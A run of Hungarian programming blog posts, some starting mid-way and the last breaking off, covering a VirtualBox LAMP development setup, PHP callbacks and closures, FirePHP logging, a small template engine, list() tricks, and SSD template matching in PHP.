Épp a sorozatos oldal második verziójának fejlesztésébe készülök komolyabban belevágni. Ennek kapcsán eszembe jutott, hogy milyen jó bejegyzést lehetne ebből kanyarítani. Mármint abból, hogy milyen módjai vannak a kényelmes otthoni projekt fejlesztésnek.

Összepiszkíthatnánk például a jelenlegi operációs rendszerünket mindenféle web- és egyéb szerverekkel, de ez nem egy szép megoldás. Telepíthetnénk egy extra operációs rendszert egy külön partícióra, de az, hogy a jelenlegiből ki kell lépni, oda pedig be... esélytelenné teszi a fejlesztést egy kellően lusta ember számára (én :)). A legjobb lenne egy külön gép, amit hálózaton keresztül elérünk. Ennek a legköltséghatékonyabb változata a virtuális gép, így ezen a vonalon fogunk tovább haladni. Hozzávalók egy személyre:

• VirtualBox
• Ubuntu Server
• némi sör és pár napra elegendő hideg élelem

Pro tipp: az Ubuntu szerver iso-ját ne a VirtualBox telepítése közben töltsük le, mert a VirtualBox telepítés közben hajlamos időlegesen megkavarni az internet kapcsolatot és jól meg fog szakadni a letöltés.

Telepítés

A letöltések és a szokásos next-next-finish telepítés befejeztével hozzáadhatunk egy új Linux / Ubuntu típusú virtuális gépet és egy új virtuális merevlemezt a varázsló segítségével. Még mielőtt elindítanánk, a Settings / Shared Folders részben érdemes hozzáadni egy könyvtárat a saját gépünkről, amiben a projekteket fogjuk tárolni, hogy ne kelljen később Samba-t telepíteni. Az Auto-mount részt ne pipáljuk be, azt később kézzel beállítjuk majd. A Settings / Network részbe se árthat benézni és az Adapter 1-et ízlés szerint megpiszkálgatni. Nálam a Bridged Adapter volt a nyerő az Attached to részben. A VirtualBox elég okos és az első indításnál felajánlja, hogy etessünk meg a géppel egy CD-t. Ajánlatos itt beadagolni a korábban letöltött Ubuntu szerver iso-ját, mert az nagyban megkönnyíti a telepítést. :)

Az Ubuntu nem egy bonyolult jószág, így valószínűleg a telepítéssel se lesznek problémák. Amíg fut, tetszés szerint lehet fogyasztani a bespájzolt hideg élelmet illetve sört. Hogy, hogy nem előbb-utóbb eljutunk egy ilyen képernyőhöz:

Itt a LAMP server-t az Apache-PHP-MySQL szentháromság miatt erősen ajánlott bepipálni, mert valószínűleg szükségünk lesz rá. Én telepíteni szoktam OpenSSH server-t is, mert már annyira hozzászoktam a PuTTy használatához. :)
Ha ezzel megvagyunk, az első belépés után rögtön érdemes is nyomni egy frissítést:

sudo apt-get update
sudo apt-get upgrade

Valamint telepíteni a VirtualBox Guest csomagját a jobb támogatás érdekében:

sudo apt-get install virtualbox-guest-utils

A projekt könyvtárak beállítása

A fejlesztés a /var/www/ könyvtárban fog történni a virtuális gép nézőpontjából. Hogy kényelmes legyen, érdemes ezt kivezetni valahova a gazda gép merevlemezére. Ezért állítottuk be korábban a Shared Folders részt. A művelet elvégzéséhez a következő sorokat kell felvenni az /etc/fstab fájl végére (na jó, a komment nem kötelező :)):

# VirtualBox Shared Folder
projects /var/www vboxsf auto,rw,uid=1000,gid=33 0 0

A projects helyére a Shared Folder felvitelénél megadott nevet kell írni. Az uid=1000 a rendszer telepítése során létrehozott felhasználó, a gid=33 a www-data csoport. A módszernek az az előnye is megvan a Samba-féle megoldással szemben, hogy nem kell futnia a virtuális gépnek ahhoz, hogy a fájlokat módosítani tudjuk. Az uid és gid értékeként megadható számok után az /etc/passwd és /etc/group fájlokban lehet érdeklődni.

Szerver elérés

Ha minden jól ment, az ifconfig eth0 által kidobott ip címen el tudjuk érni a gépet. Ha nem, akkor a VirtualBox beállítások Network részénél érdemes a lehetőségeket végigpróbálgatni, hogy melyik jön be (ahány hálózat, annyi beállítás).
Az egyszerűséget szem előtt tartva érdemes valami egyedi, egyébként nem létező domain-el felruházni a gépet, hogy ne ip címeket kelljen mindig írogatni. Nálam a *.vbox domain-ek vannak erre fenntartva. A legegyszerűbb, ha a hosts fájlba felvesszük őket (Windows: c:\Windows\System32\drivers\etc\hosts, Linux: /etc/hosts), pl.:

192.168.1.117 default.vbox
192.168.1.117 projektneve.vbox
192.168.1.117 subdomain.projektneve.vbox

Apache, PHP, MySQL beállítás

Az egyes projektek a /var/www/projektneve.vbox/ könyvtárban kapnak helyet. Az alap Apache confignak csinálunk egy default.vbox nevet/könyvtárat:

mkdir /var/www/default.vbox
sudo mcedit /etc/apache2/sites-available/default

A megnyíló fájlban a DocmentRoot és a Directory résznél szereplő /var/www/ után kell még egy default.vbox/-ot írni. Aztán pedig

sudo service apache2 reload

A /etc/apache2/httpd.conf-ba esetleg még érdemes egy ServerName default.vbox sort beledobni és újraindítani az Apache-ot, hogy megszűnjön a "Could not reliably determine the server's fully qualified domain name" hibaüzenet.

A projekt VirtualHost beállításai a /etc/apache2/sites-available/projektneve.conf fájlba kerülnek. Egy egyszerű példa, hogy nagyjából mit is tartalmaz egy ilyen:

<VirtualHost *:80>
    ServerName projektneve.vbox
    ServerAlias www.projektneve.vbox

    DocumentRoot /var/www/projektneve.vbox/www
    <Directory />
        Options FollowSymLinks
        AllowOverride All
    </Directory>
    <Directory /var/www/projektneve.vbox/www/>
        Options FollowSymLinks
        AllowOverride All
    </Directory>

    ErrorLog /var/www/projektneve.vbox/log/apache_www_error.log
    CustomLog /var/www/projektneve.vbox/log/apache_www_access.log combined

    LogLevel warn
</VirtualHost>

A kész site beállításokat a következő parancsokkal tudjuk engedélyezni:

sudo a2ensite projektneve.conf
sudo service apache2 reload

A MySQL-en nincs sok beállítani való, telepítéskor elkérte a root felhasználójához az új jelszót, mást meg nem nagyon kell piszkálni. A vizuálisabb típusoknak esetleg egy phpmyadmin telepítése még nem árthat:

sudo apt-get install phpmyadmin

Ha kértük, a csomagból telepítés során be is köti magát az Apache-ba a /etc/apache2/conf.d/phpmyadmin.conf segítségével és a http://ipcím/phpmyadmin/ címen el is érhető az oldal. Ehelyett, ha kedvünk tartja létrehozhatunk neki egy saját VirtualHost-ot is akár.

A PHP beállításánál érdemes arra törekedni, hogy minél jobban hasonlítson az éles rendszerre, így ezzel kapcsolatban nem sokat tudok mondani.

Első körben ennyi, kellemes telepítgetést. :)

Bár nem tegnap történt, hogy az 5.3-as sorozat első verziója kijött, gondoltam kicsit körbejárom a névtelen függvények témakörét az ősidőktől napjainking. Az ősidő alatt itt természetesen a 4-es verziót értem, amikor még csak a call_user_func állt a rendelkezésünkre. Lássuk, hogyan is ment ez.

A create_function módszer (attól tekintsünk el, hogy a __FUNCTION__ varázskonstans csak a 4.3-as verzióban jelent meg):

$f = create_function('', 'echo __FUNCTION__ . "\n";');
call_user_func($f);

A függvény neve stringként módszer:

$f = 'myFunction';
call_user_func($f);

Az osztály és a statikus metódus neve tömbként:

$f = array('MyClass', 'myStaticFunction');
call_user_func($f);

Az objektum és a metódus neve tömbként:

$c = new MyClass();
$f = array($c, 'myFunction');
call_user_func($f);

Az osztály és a statikus metódus neve stringként (5.2.3-as PHP-tól):

$f = 'MyClass::myStaticFunction';
call_user_func($f);

Az objektum meghívása (5.3.0-s PHP-tól):

$c = new MyClass();
call_user_func($c);

És ezzel el is érkeztünk a jelenhez. Az 5.3.0-s verzióval megjelentek a closure-ök (az újfajta névtelen függvények), amolyan JavaScript-es definiálással:

$f = function () {
};

Természetesen a teljes visszafelé kompatibilitásról ne is álmodjunk ezért kezdjük is el végignézni az előző módokat, hogy mi működik továbbra is:

A create_function módszer megy továbbra is (emlékeim szerint 5.3 előtt is működött így, ezért ez nem túl meglepő):

$f = create_function('', 'echo __FUNCTION__ . "\n";');
$f();

A függvény neve stringként módszer (működik):

$f = 'myFunction';
$f();

Itt sajnos meg is állhatunk. A tömbös rendszerek (PHP Fatal error: Function name must be a string) és az osztály+statikus metódus neve stringként (PHP Fatal error: Call to undefined function MyClass::myStaticFunction()) nem működik.

Maradt még az objektum direkt meghívása, ami működik, de ez sem túl nagy meglepetés, mivel az 5.3.0-s verzióbal vezették be hozzá az új varázsmetódust:

$c = new MyClass();
$c();

Ilyenkor (és a call_user_func-os esetben is) az osztály __invoke() metódusa hívódik meg.

Ezzel azt hiszem nagyjából ki is veséztük a különböző callback típusok és névtelen függvények hívhatóságát. Maradt még némi scope kérdés, de az házi feladat (annyit megsúgok, hogy a use a kulcsszó). Egy kis segítség hozzá:

• Anonymous functions [php.net]
• Callback pseudo-type [php.net]
• RFC: Lambda functions and closures [wiki.php.net]

Ja... a cím: s01e01.hu

Vegyünk is egy egyszerű példát. Tegyük fel azt, hogy már annyira jók vagyunk, hogy az SQL szerverrel is csak l33t nyelven vagyunk hajlandóak kommunikálni. Persze a mysqld (vagy egyéb tetszőleges daemon) nem ilyen megértő, és folyamatosan panaszkodik, hogy nem ért meg minket. A probléma elsimítása érdekében származtatunk a beépített PDO osztályból egy sajátot:

class L33tPDO extends PDO {
	private static $from = array(
		's3l3ct', 'fr0m', 'wh3r3', 's3t', '1ns3rt', '1nt0', 'upd4t3', '0rd3r', '4sc', 'd3sc', 'l3ft', 'r1ght', '1nn3r', 'j01n'
	);
	private static $to = array(
		'SELECT', 'FROM', 'WHERE', 'SET', 'INSERT', 'INTO', 'UPDATE', 'ORDER', 'ASC', 'DESC', 'LEFT', 'RIGHT', 'INNER', 'JOIN'
	);
	public function query($statement, $type = false, $param1 = false, $param2 = false) {
		$statement = $this->convertStatement($statement);
		
		if ($type && $param1 && $param2) {
			return parent::query($statement, $type, $param1, $param2);
		}
		if ($type && $param1) {
			return parent::query($statement, $type, $param1);
		}
		if ($type) {
			return parent::query($statement, $type);
		}
		
		return parent::query($statement);
	}
	public function prepare($statement, $driver_options = array()) {
		$statement = $this->convertStatement($statement);
		parent::prepare($statement, $driver_options);
	}
	private function convertStatement($statement) {
		return str_ireplace(self::$from, self::$to, $statement);
	}
}

Hogy takarékoskodjunk a hellyel, a kulcsszavak listája nem teljes. Nézzünk is egy példát a használatra:

$conn = new L33tPDO('pgsql:host=localhost port=5432 dbname=test user=test password=test');

$stmt = $conn->query("s3l3ct * fr0m users wh3r3 id > 1 0rd3r by login_name 4sc" );

var_dump($stmt->fetchAll());

Bár a felhozott példa nem igényli, a PDOStatement osztályból is származtathatunk sajátot, csak meg kell mondanunk a saját PDO osztályunknak, hogy az általunk írt PDOStatement-tet adja vissza a megfelelő függvényei. Ehhez bővítsük ki a L33tPDO osztályunkat egy konstruktorral:

function __construct($dsn, $username = null, $password = null, $driver_options = array()) {
	parent::__construct($dsn, $username, $password, $driver_options);
	
	$this->setAttribute(PDO::ATTR_STATEMENT_CLASS, array('L33tPDOStatement', array($this)));
}

És egy hozzá passzoló statement osztály:

class L33tPDOStatement extends PDOStatement {
	private $dbh;
	protected function __construct($dbh) {
		$this -> dbh = $dbh;
	}
}

Ennyit mára. További kellemes kódolást.

A kiterjesztés mögött rejlő ötlet rettentően egyszerű (és talán éppen ezért olyan fantasztikus): küldjünk ki pár speciális fejlécet valamiféle JSON tartalommal, amit kliens oldalon a kiegészítő feldolgoz és a Firebug segítségével szépen meg is jelenít. Ezek lehetnek több prioritásba sorolható egyszerű szöveges üzenetek (hasonlóak a Firebug beépített üzeneteihez), táblázatok, szépen formázott backtrace-ek vagy akár print_r()-hez hasonló információk változókról.

Nézzünk is egy példát a felhasználásra: jelenítsük meg az oldal legenerálása során küldött SQL lekérdezéseket, külön kiemelve azokat, amik lassabban futnak, mint szeretnénk (a példához Doctrine van használva):

class My_Doctrine_Logger extends Doctrine_EventListener {
    private $queryTime;
    public function preQuery(Doctrine_Event $event) {
        $this->queryTime = microtime(true);
    }
    public function preStmtExecute(Doctrine_Event $event) {
        $this->queryTime = microtime(true);
    }
    public function postQuery(Doctrine_Event $event) {
        $this->logQuery($event->getQuery());
    }
    public function postStmtExecute(Doctrine_Event $event) {
        $this->logQuery($event->getQuery());
    }
    private function logQuery($queryString) {
        $t = microtime(true) - $this->queryTime;
        
        $msg = '['.str_pad(round($t, 5), 7, '0').']: '.$queryString;
        
        if ($t > 0.01) {
            FB::warn('Slow SQL Query: '.$msg);
        }
        else {
            FB::info('SQL Query: '.$msg);
        }
    }
}

És ehhez még nem árt valami ilyesmit is hozzácsapni, hogy a Doctrine tudjon a mi kis osztályunkról:

$conn = Doctrine_Manager::connection( $dsn );
$conn->addListener(new My_Doctrine_Logger());

Az egészből az FB:: kezdetű sorok érdekesek csak. A működésükhöz szükség lehet az output buffering bekapcsolására vagy kellő önuralomra, hogy az utolsó FB::-s hívásig nem nyomunk ki semmit a kimenetre. :)
Ami még érdekes lehet, hogy Ajax-os kérések és Location fejléccel átirányított oldalak hasonló üzenetei is megjelennek a Firebug ablakában, szépen csoportosítva, ezzel végtelenül egyszerűvé téve az Ajaxos kérések és a rájuk érkező válaszok hibamentesítését, sok-sok órát megspórolva ezzel szegény fejlesztőknek. Mindezt természetesen anélkül, hogy az eredeti tartalmat teleszemetelnénk mindenféle nem odavaló dologgal (csúnyán is nézne ki a JSON válasz közepén egy méretes var_dump() kimenet, arról nem is beszélve, hogy a kliens oldalon se tudna vele túl sokat kezdeni a JavaScript).

function error_handler($errno, $errstr, $errfile, $errline)
{
    throw new ErrorException(
        $errstr, 0, $errno,
        $errfile, $errline
    );
}
set_error_handler('error_handler');

Egyéni ízlés kérdése, de én még az alábbi kóddal kiegészíteném, hogy fatal error-ok helyett inkább valami olvasható dolgot kapjak:

function exception_handler($ex)
{
	print('<pre>'.$ex.'</pre>');
}
set_exception_handler('exception_handler');

És hogy miért is lenne hasznos? Elég sokan kikapcsolják az E_NOTICE-ok jelzését még fejlesztés alatt is, mondván hogy az nem számít. Pedig elég sok kisebb hibára (pl. változó név vagy tömb kulcs elgépelésekre) hívhatná fel a figyelmet, amik így csak a tesztelési időszakban derülnek ki (ha kiderülnek). Emellett biztonsági haszna is van, mint az a php.net-en is olvasható.

Magáról a nyelvről azt lehet elmondani, hogy feltűnően szépnek mondható ahhoz képest, hogy a Pascal-stílusú nyelvek közé tartozik. És nem csak egyszerűen szép, hanem törekszik arra, hogy a benne írt kód is szép legyen (ahogy az a Python filozófiáinak listájában is szerepel: "Beautiful is better than ugly."). Persze ehhez az is kell, hogy ne csak Python nyelven, de Python stílusban is programozunk.
A kinézetet tekintve legszembetűnőbb különbség más nyelvekhez képest a kód kötelező indentálása. Nincsenek sorvégi pontok, pontosvesszők, if-eket és egyéb blokkszerkezeteket lezáró hullámos zárójelek vagy kulcsszavak. Minden az új sor karakterek és az indentálás alapján dől el. De mivel kódolás közben a nagy többség amúgy is szokott új sorokat és tabokat használni (és mivel a kötelező indentálás az esetek közel 100%-ában megegyezik azzal, amúgy is használnánk), ezért elég gyorsan hozzá lehet szokni ahhoz, hogy tulajdonképpen kevesebbet kell gépelni. Persze ez még kevés ahhoz, hogy használható is legyen valamire. Mivel napjaim nagy részét a webprogramozás teszi ki, ezért a szintaktikai ismerkedés után első dolgom az volt, hogy utánanézzek, mire is képes a kígyó a weben...

Itt már kezdődtek a gondok. Mutatkoztak annak a jelei, hogy a Python egy általános scriptnyelv, nem webre teremtették, mint a PHP-t. Ha mindenféle keretrendszer nélkül szeretnénk benne webprogramozni, csupán a megfelelő Apache beállítások elvégzésével és egy mod_python betöltésével... hát... nem lesz egy könnyű dolgunk (arról nem is beszélve, hogy a mod_python mellett van számos más alternatíva is és akkor még el sem jutottunk odáig, hogy keretrendszert válasszunk). Persze egy nagyon minimális keretrendszert össze lehet dobni pár tíz perc és 50-60 sor kód alatt (amit meg is tettem, just for fun), de végső soron arra jutottam, hogy ha webprogramozás, akkor egyelőre maradok a PHP-nél.

A gond ez után már csak az volt, hogy ha nem webprogramozásra, akkor mégis mi a fenére használjak egy scriptnyelvet? Mivel egy általános nyelvről van szó, elég sok dologra lehetne használni. Ennek okán úgy döntöttem, hogy ha valami nem webprogramozással kapcsolatos, de programozást igénylő problémába ütközöm, akkor azt Python-ban próbálom majd megoldani, ahelyett, hogy a jól bevált PHP-t használnám. Így ha épp egy random, 8 betűből álló stringre van szükségem, akkor nem azt írom, hogy:

$str = '';
for ($i = 0; $i < 8; ++$i) {
	$str .= chr(mt_rand(97, 122));
}
print $str;

Hanem inkább ezt:

from random import randint
print ''.join([chr(randint(97, 122)) for x in range(8)])

Valószínűleg így egyes problémákat tovább tart megoldani, mivel kénytelen vagyok utánanézni olyan dolgoknak, amiknek PHP-ban nem kellene, viszont ha sosem használom a nyelvet valós problémák megoldására, akkor egyrészt nem lesz benne gyakorlatom, másrészt pedig elfelejtem. Végeredményben tehát a Python egy szép nyelv (és nem csak külalakra, hanem működését és megoldásait tekintve is), amivel érdemes foglalkozni. Már csak azért is, hogy új szemléletmódokat szedjen magára az ember. Ezt pedig jól segíti ez az online is olvasható könyv.

Nagyrészt így vagyok vele én is. Gyakorlatilag a szintaktikájának az alapjait leszámítva nem lenne szükségem semmire a Smarty-ból. Nem érdekel, hogy korlátozni lehet a sablon íróját, hogy a PHP eszköztár csak egy részét használhassa (minek is korlátoznám magam...). Nem érdekel, hogy könnyen és gyorsan lehet hozzá plugineket írni (ha az egész PHP használható lenne, erre nincs is túl nagy szükség). Nincs szükségem semmi ilyesmire.
Sokkal inkább vonz az, ha a nyelvet gyorsan lehet gépelni (pl. mert rövid, minimális speciális karaktert használ és logikus a szerkezete). Az se egy hátrány, ha az elkészült sablon valamilyen szinten olvasható lesz. Nem lenne rossz még, ha egy elfogadható minőségű PHP kódot generálna az én sablonomból, ami aztán elfogadható (a lehető leggyorsabb) sebességgel futna. Az első kettőt még csak-csak teljesíti, de az utolsóval eléggé hadilábon áll a Smarty. Így itt az idő valami más után nézni...

A legkézenfekvőbb dolog a PHP használata lenne erre a célra, ami az első két ponton totálisan megbukik. Kiindulási alapnak viszont jó lesz:

<h1>Valami sablon</h1>

<?php if (5 > 6): ?>
	<p><?php print('5 nagyobb mint 6'); ?></p>
<?php else: ?>
	<p><?php print('5 nem nagyobb, mint 6'); ?></p>
<?php endif; ?>

Mi lenne, ha első körbe a <?php és a ?> helyett a jól megszokott { és } lenne használva?

<h1>Valami sablon</h1>

{ if (5 > 6): }
	<p>{ print('5 nagyobb mint 6'); }</p>
{ else: }
	<p>{ print('5 nem nagyobb, mint 6'); }</p>
{ endif; }

Haladunk, esetleg még a print() helyett bevezethetnénk a PHP rövid tag <?= szerkezetéhez hasonlóan egy {= szerkezetet:

<h1>Valami sablon</h1>

{ if (5 > 6): }
	<p>{= '5 nagyobb mint 6' }</p>
{ else: }
	<p>{= '5 nem nagyobb, mint 6' }</p>
{ endif; }

Pár kényelmességet elősegítő lépés múlva (szóközök, kettőspontok, felesleges zárójelek, pontosvesszők eltűntetése) sikerült eljutnom a végleges formáig:

<h1>Valami sablon</h1>

{if 5 > 6}
	<p>{='5 nagyobb mint 6'}</p>
{else}
	<p>{='5 nem nagyobb, mint 6'}</p>
{if}

Rémisztően hasonlít a Smarty-ra (ez valamilyen szinten cél is volt :)), viszont az ebből fordított PHP kód gyakorlatilag egy az egyben megegyezik az általunk írt sablon kód szerkezetével. Most, hogy megvan az alapvető szintaxis, jöhet a sablonkezelő osztály, ami a fentebb említett több ezer sorhoz képest megvalósult úgy 170 sorból (milyen csodákra képes, ha kihagyunk minden "szemetet", amire nincs szükségünk :)), ami már tartalmaz pár extra funkciót is (mint például a lefordított sablonok újrafordítási szükségességének ellenőrzését). A bemenete egy ilyen template, amiből ezt a PHP kódot generálja, valami ilyesmi kóddal:

<?php
	include('lighty.php');
	
	$l = new Lighty();
	
	$l->assign('list', array('a', 'b', 'c', 'd'));
	$l->display('teszt.tpl');
?>

Amit érdemes ezzel kapcsolatban megemlíteni, hogy a lefordított forrás első sorának elején ott van egy kommentben a fordítás ideje, ami az újrafordítás-ellenőrző számára fontos. Valamint az egész fájl egyetlen egy PHP kódblokkot tartalmaz (ami emlékeim szerint optimálisabb, mint sok-sok kis PHP kódblokk egy sablonon belül). Emiatt vannak felesleges, csak whitespace karaktereket kiíró print() hívások, de ezek megszüntethetőek. És végül, de nem utolsó sorban, a Lighty névre keresztelt sablonrendszer első publikus verziója letölthető innen. A csomagban megtalálható egy teszt.php is, ami a fentebb felvázolt példakódot tartalmazza, valamint az általa használt template fájlok és szükséges könyvtárak is.

És hogy így a végén még a címben említett kérdést is megválaszoljam: szerintem szükség van a sablonnyelvekre, mert nagyban meg tudják könnyíteni az ember életét az által, hogy meggyorsítják a sablonírás folyamatát.

A mindig az értékadások bal oldalán álló list() konstrukcióval tömböket bonthatunk szét, és a tömbelemek értékeit külön-külön változókban helyezhetjük el. Nézzünk egy egyszerű példát:

/* Inicializáljuk a tömböt */
$arr = array('A', 'B', 'C', 'D');
   
/* a list() segítségével értéket adunk néhány változónak */
list($egy, $ketto, $harom, $negy) = $arr;

/* A változók tartalma a list() után:
 *  $egy == 'A'
 *  $ketto == 'B'
 *  $harom == 'C'
 *  $negy == 'D'
 */

Ez magában sem egy haszontalan dolog, de nézzük meg, hogyan csavarhatunk egyet-kettőt a dolgon!

Először: ha csak néhány tömbelemet kívánunk változókhoz rendelni, akkor hasznunkra válhat a list() azon tulajdonsága, hogy a felsorolásában kihagyhatunk elemeket az alábbi módon:

$arr = array('A', 'B', 'C', 'D');
/* a trükk */
list($egy, $ketto, , $negy) = $arr;
/* vagy akár: */
list (, , , $negy) = $arr;

Másodszor: A list()-tel használható a [] tömb-operátor, aminek a segítségével új elemeket adhatunk a tömbökhöz. Lássuk, hogyan:

/* Az eredeti tömb */
$arr = array(
    array('A', 'B', 'C', 'D'),
    array('E', 'F', 'G', 'H'),
    array('I', 'J', 'K', 'L'),
    array('M', 'N', 'O', 'P'),
    array('Q', 'R', 'S', 'T')
);

/* Négy üres tömböt hozunk létre */
$egy = $ketto = $harom = $negy = array();

/* Végiglépkedünk $arr-on és list()-tel kitöltjük az új tömböket */
foreach($arr as $row)
{
    list($egy[], $ketto[], $harom[], $negy[]) = $row;
}

/* A tömbök elemei a list() után:
 * $egy => 'A', 'E', 'I', 'M', 'Q'
 * $ketto => 'B', 'F', 'J', 'N', 'R'
 * $harom => 'C', 'G', 'K', 'O', 'S'
 * $negy => 'D', 'H', 'L', 'P', 'T'
 */

Remélem hasznotokra tudtam lenni ezzel a bejegyzéssel - további jó programozást és kockulást mindenkinek!

További információ a list()-ről a PHP Kézikönyvben található.

A téma ismét a képekkel és a GD könyvtárral lesz kapcsolatos, bár a régi adatrejtéses bitbűvészkedésnél kicsit tovább merészkedünk a képfeldolgozás és a mintafelismerés irányába. A feladat roppant egyszerű lesz, egy adott képen szeretnénk megtalálni - lehetőleg - az összes hármas számot (azért pont a hármast, mert az kellően hasonlít a nagy b betűre, valamint a nyolcas számra is, így nehezítve a dolgunkat). Ehhez adott maga a kép, amin keresünk (egy kis zajjal nehezítettem a keresést, különben elég egyszerű lenne...), valamint egy minta, hogy mit is szeretnénk megtalálni. Vessük is rögtön bele magunkat a hogyanokba.

Több fajta módszer is létezik annak megállapítására, hogy egy kép bizonyos része és egy minta mennyire hasonlít egymásra. A módszerek lényegében abból állnak, hogy vesszük a mintát, ráillesztjük a kép bal felső sarkára, egy megfelelő képlet segítségével kiszámítjuk, hogy ott mennyire illeszkedik (vagy épp nem illeszkedik), az értéket eltároljuk, majd a mintát eltoljuk egy pixellel balra. Ha elértünk a sor végére, akkor egy pixellel lejjebb toljuk a mintát és visszaugrunk a sor elejére. Innentől már csak az adott képletben fogunk eltérni. Nézzük is az elsőt, ami az SSD nevet kapta, és elsőre talán egy picit ijesztőnek tűnhet:

A képletben látható W a minta lokális koordinátáinak halmaza (tehát függetlenek attól, hogy a képen belül hol járunk éppen), az F pedig a kép koordinátáinak halmaza. Az adatrejtéses bejegyzés óta megtartottam azt a jó szokásomat, hogy továbbra is szürkeárnyalatos képekkel dolgozok, tehát az f és a w függvények olyanok, hogy a kép- illetve a minta koordinátihoz rendelnek egy 0 és 255 közötti számot. Jöjjön egy példa is, hogy egy kicsit leegyszerűsített helyzetben ez hogyan is működik:

A szám, amit a végén megkapunk az "Eredmény" részben lévő pixelek értékeinek összege, azaz nyolc lesz. Mint az látszik, ez a módszer azt adja meg, hogy a képnek ez a része mennyire különbözik a mintától, vagyis minél közelebb van a visszatérési érték a nullához, annál jobb nekünk. A teszteléseim során az SSD elég szép eredményeket ért el a zaj nélküli, fekete-fehér képek esetén (gyakorlatilag az összes hármast megtalálta, mivel egy ilyen mintához érve a képlet visszatérési értéke nulla volt), de a zajjal nem tudott mit kezdeni.

Így jött a képbe az SSD_SC, amivel a kép és a minta közti intenzitás-különbséget próbáljuk korrigálni. Az új képlet lényegét muszáj leszek szavakban elmagyarázni, mivel szélességében meghaladja a design befogadóképességét, tehát: lényegében az f(x+x',y+y') függvényértékből levonunk egy f₂(x,y) függvényértéket és a w(x',y') értékből is egy w₂ értéket. Majd még az így kapott értékeket is kivonjuk egymásból és az egészet négyzetre emeljük (mint azt tettük a sima SSD esetében is). Már csak azt kellene tudni, hogy ez az f₂ és a w₂ hogyan is jön ki. Az f₂ a kép minta által borított pixeleinek átlagértéke (az összes pixel értékének az összege osztva a pixelek számával), a w₂ pedig a minta pixeleinek az átlagértéke (hasonlóan számolva). Tulajdonképpen azt fejezik ki, hogy a minta és a minta által fedett képterület mennyire sötétek illetve világosak.
Magam is meglepődtem a módszer eredményességén, megfelelő hibahatár mellett az összes hármast sikerült megtalálnia a zajos képen (hibahatár alatt értem azt, hogy mekkora különbséget engedek meg a kép adott része és a minta között, hogy az még találatnak számítson).

Így a végére pedig jöjjön egy PHP-s megvalósítás az SSD_SC-ra:

$image = imagecreatefromgif('image.gif');
$template = imagecreatefromgif('template.gif');

$image_width = imagesx($image);
$image_height = imagesy($image);

$template_width = imagesx($template);
$template_height = imagesy($template);

for ($x=0;$x<$image_width;++$x) {
	for ($y=0;$y<$image_height;++$y) {
		$tmp = imagecolorsforindex($image, imagecolorat($image, $x, $y));
		$image_data[$x][$y] = $tmp['red'];
	}
}

$template_average = 0;
for ($x=0;$x<$template_width;++$x) {
	for ($y=0;$y<$template_height;++$y) {
		$tmp = imagecolorsforindex($template, imagecolorat($template, $x, $y));
		$template_data[$x][$y] = $tmp['red'];
		$template_average += $tmp['red'];
	}
}
$template_average = $template_average / ($template_width * $template_height);

imagedestroy($template);

$hibahatar = 100000;

$min = array();
$min_values = array();

Első körben még semmi komoly, betöltöm a két képet, meghatározom a méretüket, az összes pixelük színét eltárolom egy-egy tömbben (az $image_data és a $template_data tömbök) és meghatározom a w₂ értékét (ez lenne a $template_average, amit ugyebár elég egyszer kiszámolni, mivel nem függ a minta képen való elhelyezkedésétől). Most jön a neheze, a főciklus(ok):

for ($image_x=0;$image_x<($image_width - $template_width);++$image_x) {
	for ($image_y=0;$image_y<($image_height - $template_height);++$image_y) {

		$SSD[$image_x][$image_y] = 0;

		$image_average = 0;
		for ($template_x=0;$template_x<$template_width;++$template_x) {
			for ($template_y=0;$template_y<$template_height;++$template_y) {
				$image_average += $image_data[($image_x + $template_x)][($image_y + $template_y)];
			}
		}
		$image_average = $image_average / ($template_width * $template_height);

		for ($template_x=0;$template_x<$template_width;++$template_x) {
			for ($template_y=0;$template_y<$template_height;++$template_y) {
				$SSD[$image_x][$image_y] += pow((
					($image_data[($image_x + $template_x)][($image_y + $template_y)] - $image_average) -
					($template_data[$template_x][$template_y] - $template_average)
				), 2);
			}
		}
	}

	$min[$image_x] = min($SSD[$image_x]);
	foreach ($SSD[$image_x] as $k => $v) {
		if ($v <= ($min[$image_x] + $hibahatar)) {
			$min_values[$image_x][] = $k;
		}
	}
}

Mint az észrevehető, jó pár ciklus van egymásba ágyazva, ezért nem éppen várható el a scripttől, hogy másodpercek alatt lefusson, főleg ha nem éppen kis képekről van szó. Végül pedig bejelöljük a találatokat az eredeti képen egy zöld négyzettel és elmentjük az új képet:

$green = imagecolorallocate($image, 0, 255, 0);

$the_min = min($min);
foreach ($min as $k => $v) {
	if ($v <= ($the_min + $hibahatar)) {
		foreach ($min_values[$k] as $k2 => $v2) {
			imagerectangle($image, $k-1, $v2-1, $k+$template_width, $v2+$template_height, $green);
		}
	}
}

imagegif($image, 'image_new.gif');

imagedestroy($image);

A végére pedig jöjjön egy kép, hogy az SSD_SC nálam milyen eredménnyel járt a példakódban is használt 100000-es hibahatárt használva:

Remélem mindenkinek sikerült felkeltenem az érdeklődését. Igény esetén szót ejthetek még esetleg a CC, NCC, MNCC képletekről (ezek az SSD-vel ellentétben a hasonlóságok mérésére szolgálnak). Addig is, akit komolyabban is érdekel a téma, annak tudom ajánlani ezt a weboldalt.

class TestClass
{
	private $data = array('egy' => 'alma', 'kettő' => 'körte', 'három' => 'szőlő', 'négy' => 'barack');

	// Az Iterator interfész implementációja
	public function rewind() { reset($this->data); }
	public function current() { return current($this->data); }
	public function key() { return key($this->data); }
	public function next() { return next($this->data); }
	public function valid() { return ( $this->current() !== false ); }
}

$instance = new TestClass;

// És itt jön a trükk
foreach($instance as $key => $value)
{
	echo "$key => $value\n";
}

egy => alma
kettő => körte
három => szőlő
négy => barack

Viszont nem kerül túl sok munkába írni egy függvényt, ami a Zend2-motor helyett a régi változatban (tehát a PHP4-ben) is elvégzi a tömbbé alakítás feladatát, valahogy így:

function ObjectIterator(&$object)
{
	$retval = array();
	$object->rewind();
	do
	{
		$retval[$object->key()] = $object->current();
	}
	while($object->next());

	return $retval;
}

Tehát az ObjectIterator függvénynek egy olyan osztály egy példányát kell átadni, ami "implementálja" az Iterator interfészt. (Idézőjelbe tettem az implementálni igét, lévén hogy PHP4-ben még nem létezik az implements kulcsszó.) A technika gyakorlatban így hasznosítható:

class TestClass
{
	var $data = array('egy' => 'alma', 'kettő' => 'körte', 'három' => 'szőlő', 'négy' => 'barack');

	function rewind() { reset($this->data); }
	function current() { return current($this->data); }
	function key() { return key($this->data); }
	function next() { return next($this->data); }
	function valid() { return ( $this->current() !== false ); }
}


function ObjectIterator(&$object)
{
	$retval = array();
	$object->rewind();
	do
	{
